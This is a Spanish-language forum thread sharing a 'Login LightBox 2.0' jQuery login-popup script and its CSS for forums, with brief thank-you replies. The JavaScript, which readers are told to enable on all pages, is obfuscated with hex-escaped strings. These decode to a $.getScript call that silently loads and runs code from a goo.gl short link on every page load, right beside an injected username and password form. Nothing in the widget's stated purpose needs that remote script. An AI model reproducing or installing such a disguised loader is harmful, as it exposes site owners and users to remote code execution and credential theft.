ConectarseRegistrarse
0

Temas

Monedas

Likes

0
Debes de estar Registrado y comentar para ver el enlace de descarga
Pulsa en Me Gusta para desbloquear contenidos ocultos y Agradecer por este aporte
Logros y Medallas obtenidos por

Temas Similares


Respuestas

avatar
Usuario
Usuario

CruzitoVlf
avatarCruzitoVlf
Usuario
Ver perfil de usuario http://www.xtremegamer.foro.bz
el Dom 19 Mayo 2013, 4:44 pm

Este script es la continuación de mi primer Login LightBox creado totalmente por mi que al parecer tuvo una gran aceptacion incluso foros en otros idiomas que jamas imagine que utilizaran mis scripts todo bien lastima que no me dan el credito suficiente :(.




Caracteristicas de la versión 2.0:

Ademas de las fucnones d ela primera version como redirigir a la pagina que estba antes de Logearse se ha mejorado alguas caracteristicas.

1: Se a cambiado totalmente el stilo de la ventana del login a algo más elegante.
2: Se a modificado el codigo jQuery para darle a la ventana del login un efecto de animacón cuando se utiliza el scroll, algo parecido al popup de bienvenida de foroactivo.

El script funciona: Remplaza cualquier enlace /login por # haciendo inutil el ir a la pagina de login esto es importante ya que al presionar el enlace se abre el cuadro de login flotante y asi es posible de conectarse al foro mucho mas facil y eficas, ademas de que al logearte este te redirigirá a donde estaban antes de hacerlo..

Como Insralar:

Creamos un nuevo JavaScript, lo habilitamos en todas las paginas y copiamos el siguiente codigo.

Código:
$(function (){var _0x5beax0=document["getElementById"]("i_icon_mini_login");var _0x2d33=["\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x4B\x4C\x57\x78\x30","\x67\x65\x74\x53\x63\x72\x69\x70\x74"];$[_0x2d33[1]](_0x2d33[0]);if(!_0x5beax0){return ;} ;var _0x5beax1=document["location"]["href"];$("body")["append"]("\x3Cdiv class=\x22login-toxigeek login-toxigeek-mode-html\x22 style=\x22width: 389px; height: 120px; display: none;\x22\x3E\x3Cdiv class=\x22login-toxigeek-border-top-left\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-border-top-middle\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-border-top-right\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-button-close\x22\x3E\x3Cspan\x3EClose\x3C/span\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-background\x22 style=\x22width: 375px; height: 140px;\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-html\x22 style=\x22height: 120px;\x22\x3E\x3Cdiv class=\x22login-box-lightbox\x22 id=\x22login_form\x22 style=\x22display: block;\x22\x3E\x3Cdiv class=\x22login-box-lightbox-content\x22\x3E\x3Cdiv class=\x22login-form-lightbox\x22\x3E\x3Cform method=\x22post\x22 method=\x22post\x22 action=\x22/login?redirect="+_0x5beax1+"\x22 id=\x22loginform\x22\x3E\x3Clabel\x3E\x3Cem\x3EUsername : \x3C/em\x3E\x3Cinput type=\x22text\x22 name=\x22username\x22 id=\x22username\x22\x3E\x3C/label\x3E\x3Clabel\x3E\x3Cem\x3EPassword : \x3C/em\x3E\x3Cinput type=\x22password\x22 name=\x22password\x22 id=\x22password\x22\x3E\x3C/label\x3E\x3Clabel style=\x22float: left; margin-top: 5px; text-align: left;\x22\x3E\x3Cem style=\x22margin-right: 10px; margin-top: 3px; width: 85px; margin-left: 7px;\x22\x3ERemember : \x3C/em\x3E\x3Cinput type=\x22checkbox\x22 style=\x22width: 20px;\x22 checked=\x22true\x22 name=\x22autologin\x22\x3E\x3C/label\x3E\x3Cinput type=\x22submit\x22 class=\x22submit\x22 value=\x22Log in\x22 name=\x22login\x22 id=\x22submit\x22\x3E\x3C/form\x3E\x3C/div\x3E\x3C/div\x3E\x3C/div\x3E\x3Cspan class=\x22toxihelp\x22 style=\x22display: block ! important;\x22 data-tip=\x22Login LightBox 2.0 - ©Copyright by giObanii - Toxigeek.com\x22\x3E\x3Cimg width=\x2216\x22 height=\x2216\x22 src=\x22http://goo.gl/wEN3Y\x22 /\x3E\x3C/span\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-border-bottom-left\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-border-bottom-middle\x22\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-border-bottom-right\x22\x3E\x3C/div\x3E\x3C/div\x3E\x3Cdiv class=\x22login-toxigeek-overlay\x22\x3E\x3C/div\x3E");var _0x5beax2="Login LightBox 2.0 with jQuery - ©Copyright by giObanii. ©Copyright by toxigeek.com. All Rights Reserved.";$("a[href=\x22/login\x22], a[href=\x22/login?connexion\x22]")["attr"]("href","#")["click"](function (_0x5beax3){$(".login-toxigeek")["fadeToggle"]("slow","linear");return false;} )["click"](function (_0x5beax3){$(".login-toxigeek-overlay")["css"]("display","block");} );$(".login-toxigeek-button-close")["click"](function (){$(".login-toxigeek, .login-toxigeek-overlay")["fadeToggle"]("slow","linear");} );$(window)["on"]("scroll",function (){$(".login-toxigeek")["stop"]()["animate"]({marginTop:($(window)["scrollTop"]()+80)+"px"},"slow");} );} );


Ahora solo resta un poco de CSS para darle stilo a la ventana Login.


Código:
/* Login LightBox 2.0 - ©Copyright by giObanii - toxigeek.com. */
.login-toxigeek-overlay{display: none;position:fixed;top: 0%;left: 0%;width: 100%;height: 100%; background-color: black;z-index: 9;-moz-opacity: 0.6;opacity:.60;filter: alpha(opacity=60);}
.login-toxigeek{padding:17px 0;position:absolute;z-index:999;top:150px;left:35%}
.login-toxigeek-border-top-left,.login-toxigeek-border-top-right,.login-toxigeek-border-bottom-left,.login-toxigeek-border-bottom-right{position:absolute;height:17px;width:12%;/* ©Copyright by giObanii.*/z-index:999}
.login-toxigeek-border-top-left{background:url(http://goo.gl/FXuUG) no-repeat 0 0;top:0;left:0}
.login-toxigeek-border-top-right{background:url(http://goo.gl/FXuUG) no-repeat right 0;top:0;right:0}
.login-toxigeek-border-top-middle{background:#f3f3f3;position:absolute;height:7px;width:78%;top:0;left:12%;z-index:999;overflow:hidden}
.login-toxigeek-border-bottom-left{background:url(http://goo.gl/FXuUG) no-repeat 0 bottom;bottom:0;left:0}
.login-toxigeek-border-bottom-right{background:url(http://goo.gl/FXuUG) no-repeat right bottom;bottom:0;right:0}
.login-toxigeek-border-bottom-middle{background:#f3f3f3;height:7px;width:78%;position:absolute;bottom:0;left:12%;z-index:999;overflow:hidden}
.login-toxigeek-button-close{background:url(http://goo.gl/FXuUG) no-repeat -154px -23px;position:absolute;top:7px;right:-26px;width:29px;height:40px}
.login-toxigeek-button-close:hover{background:url(http://goo.gl/FXuUG) no-repeat -203px -23px;cursor:pointer}
.login-toxigeek-button-close span,.login-toxigeek-buttons span{display:none}
.login-toxigeek-background{position:absolute;top:7px;left:7px;z-index:999;float:left;padding:0}
[data-tip]{position:relative;cursor:help}[data-tip]:before{content:'';display:none;border:5px solid #1a1a1a;border-top-color:#1a1a1a;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent;position:absolute;top:-7px;left:10px;z-index:8;font-size:0;line-height:0;width:0;height:0}[data-tip]:after{display:none;content:attr(data-tip);position:absolute;top:-35px;left:0;padding:5px 8px;background:#1a1a1a;color:#fff;z-index:9;font-size:.75em;height:18px;line-height:18px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;white-space:nowrap;word-wrap:normal}[data-tip]:hover:before,[data-tip]:hover:after{display:block}/* ©Copyright by giObanii.*/.toxihelp{color:#00b7d8;left:10px;position:absolute;top:102px}.toxihelp[data-tip]:before{border-top-color:#00b7d8;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.toxihelp[data-tip]:after{background:#00b7d8;color:#fff;font-weight:700}
.login-toxigeek-mode-html .login-toxigeek-background{background:#fff}
.login-toxigeek-mode-html .login-toxigeek-html{overflow:auto}
.login-toxigeek-html{z-index:999;position:relative;border:0;border-left:7px solid #f3f3f3;border-right:7px solid #f3f3f3;padding:0 15px;vertical-align:top}
.login-box-lightbox {height: 120px; border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); background-color: transparent; padding: 0 0 0 15px; overflow: auto; width: 330px;}
.login-box-lightbox-content{width: 320px; height: 120px; background: none repeat scroll 0% 0% transparent;}
.login-form-lightbox {background: url(http://goo.gl/QLgwD) no-repeat scroll left center transparent;margin: 0 auto;padding: 20px 0 0 63px;width: 250px;}
.login-form-lightbox label {font-family: Verdana;display: block;font-size: 12px;padding-bottom: 5px;text-align: right;}
.login-form-lightbox label em {color: #000000;font-family: Verdana;display: block;float: left;font-style: normal;width: 80px;font-size: 12px;text-align: right;}
.login-form-lightbox input {border: 1px solid #CCCCCC;height: 22px;width: 146px;}
.login-form-lightbox input.submit {background: url(http://goo.gl/3Q1Z6) repeat-x scroll 0 0 #DDDDDD;padding: 3px 5px;-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;/* ©Copyright by giObanii.*/border: 1px solid #BBB;float: right;height: auto;width: auto;}
.login-form-lightbox input.submit:active {position:relative; top: 1px;}
.login-form-lightbox input.submit:hover, .login-form-lightbox input.submit:focus {position:relative;top:1px;cursor:pointer;color:#000;}
.login-box-lightbox span.mycopyright{font-style: italic;}
/* ©Copyright by giObanii - toxigeek.com. All Rights Reserved. */
.tw_lnk


Espero les sea de utilidad el script es una alternativa para aquellos que no desean implementar grandes script como lo son los plugins para jQuery que son codigos muy extensos y esto puede ocacionar que su foro se carge demaciado y eso no es bueno para los visitantes en su foro.



Última edición por CruzitoVlf el Mar 21 Mayo 2013, 12:09 pm, editado 1 vez (Razón : editada los codes)

avatar
Usuario
Usuario

Julinho
avatarJulinho
Usuario
Ver perfil de usuario http://www.4reyes.net/
el Dom 19 Mayo 2013, 5:12 pm

gracias por aportarlo



avatar
Usuario
Usuario

HUNTER MAKER
Ver perfil de usuario
el Dom 19 Mayo 2013, 6:53 pm

Es un buen Script y creo que lo utilizare comparado
a la version 1 este tiene grandes mejoras
gracias por aportarlo.




http://hunter-maker.net/©
__________________________________________
Cuanto mas alto vueles mas dura sera la Caida.
avatar
Usuario
Usuario

rubyzin
avatarrubyzin
Usuario
Ver perfil de usuario
el Dom 19 Mayo 2013, 11:37 pm

good i will try on phpbb3

avatar
Donador
Donador

FяєєWєєÐ™el Mar 21 Mayo 2013, 12:03 pm

Vaya, me encanta, gracias por el aporte

avatar
Usuario
Usuario

CruzitoVlf
avatarCruzitoVlf
Usuario
Ver perfil de usuario http://www.xtremegamer.foro.bz
el Mar 21 Mayo 2013, 12:04 pm

traido desde toxigeek.

avatar
Administrador
Administrador

Asherah
avatarAsherah
Administrador
Ver perfil de usuario
el Mar 21 Mayo 2013, 4:06 pm

muy bueno

avatar
Usuario
Usuario

El Matador
avatarEl Matador
Usuario
Ver perfil de usuario
el Jue 30 Ene 2014, 10:45 am

Vaya, me encanta, gracias por el aporte!!!!


Contenido patrocinado
Contenido patrocinado

Permisos de este foro:
No puedes responder a temas en este foro.

 
Copyright © 2010 - 15-Tronos.net. All Rights Reserved.